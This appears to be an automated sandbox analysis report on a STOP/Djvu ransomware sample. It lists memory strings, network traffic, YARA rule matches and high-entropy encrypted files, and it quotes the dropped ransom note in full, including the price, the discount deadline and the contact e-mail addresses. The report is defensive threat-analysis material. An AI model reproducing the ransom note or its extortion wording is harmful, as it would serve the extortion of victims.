Source: f6ffg1sZS2.exe, 00000000.00000003.1705331926.0000000000649000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000000.00000002.1715299706.000000000063A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonv
Source: f6ffg1sZS2.exe, 00000000.00000002.1715299706.0000000000613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/i
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/l
Source: 30264859306.ttf.2.dr, 37262344671.ttf.2.dr	String found in binary or memory: https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-B0FsLNO3
Source: f6ffg1sZS2.exe, 00000002.00000003.2406028397.0000000001476000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407772363.0000000001477000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001473000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.2.dr	String found in binary or memory: https://we.tl/t-B0FsLNO3fN

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49748 version: TLS 1.2

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_008022E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

0_2_008022E0

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-B0FsLNO3fNPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:helpteam@mail.chReserve e-mail address to contact us:helpmanager@airmail.ccYour personal ID:0300ewgfDdLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 1072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 2120, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: f6ffg1sZS2.exe, type: SAMPLE
Source: Yara match	File source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 1072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 2120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 5652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f6ffg1sZS2.exe PID: 3736, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, type: DROPPED

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.mp3	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File deleted: C:\Users\user\Desktop\NWTVCDUMOB.mp3	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN\IPKGELNTQY.mp3	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN\IPKGELNTQY.mp3	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.pdf	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-b0fslno3fnprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:helpteam@mail.chreserve e-mail address to contact us:helpmanager@airmail.ccyour personal id:0300ewgfddlqbdo3efivhxgujowrjdmxgy66rd6kiyqz4tzyt1			Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h			Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99441694311	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml entropy: 7.99580031949	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.9961047937	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.9926339416	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99762852577	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.9962713043	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma entropy: 7.99040595167	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99201255963	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt entropy: 7.99833471031	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99846469239	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99843755619	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99849457071	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99851683152	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt entropy: 7.99848581854	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99857818104	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133745238773483568.txt entropy: 7.9985021364	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945570897592.txt entropy: 7.99835403569	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99869747094	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.99744976001	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite entropy: 7.99872355487	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99785702839	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99373462235	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1 entropy: 7.99851688476	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2 entropy: 7.99771908227	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\webext.sc.lz4 entropy: 7.99849429045	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2 entropy: 7.99519270202	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml entropy: 7.9984457005	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99483811499	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99326199727	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99156464578	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99302548667	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Temp\wctEA40.tmp.paas (copy) entropy: 7.99729780337	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Temp\wctF411.tmp.paas (copy) entropy: 7.99785822527	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.paas (copy) entropy: 7.9926339416	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.paas (copy) entropy: 7.99762852577	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.paas (copy) entropy: 7.9962713043	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.paas (copy) entropy: 7.99040595167	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.paas (copy) entropy: 7.99201255963	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.paas (copy) entropy: 7.9984457005	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.paas (copy) entropy: 7.99483811499	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.paas (copy) entropy: 7.99326199727	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.paas (copy) entropy: 7.99156464578	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.paas (copy) entropy: 7.99302548667	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: f6ffg1sZS2.exe, type: SAMPLE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: f6ffg1sZS2.exe, type: SAMPLE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 3.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 3.2.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.0.f6ffg1sZS2.exe.780000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.0.f6ffg1sZS2.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.1838199211.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000000.1691452166.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.1924565660.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000000.1717930975.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000000.1824028423.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000000.1904985502.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.1714698874.0000000000781000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: f6ffg1sZS2.exe PID: 6884, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: f6ffg1sZS2.exe PID: 1072, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: f6ffg1sZS2.exe PID: 2120, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: f6ffg1sZS2.exe PID: 5652, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: f6ffg1sZS2.exe PID: 3736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, type: DROPPED	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, type: DROPPED	Matched rule: Detects STOP ransomware Author: ditekSHen

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078D240	0_2_0078D240
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00799F90	0_2_00799F90
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078C070	0_2_0078C070
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00785057	0_2_00785057
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00788030	0_2_00788030
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007AF010	0_2_007AF010
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007AE003	0_2_007AE003
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007870E0	0_2_007870E0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00790160	0_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00848113	0_2_00848113
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007821C0	0_2_007821C0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B5240	0_2_007B5240
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007C237E	0_2_007C237E
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00849343	0_2_00849343
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00785457	0_2_00785457
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00785447	0_2_00785447
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B44FF	0_2_007B44FF
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007884C0	0_2_007884C0
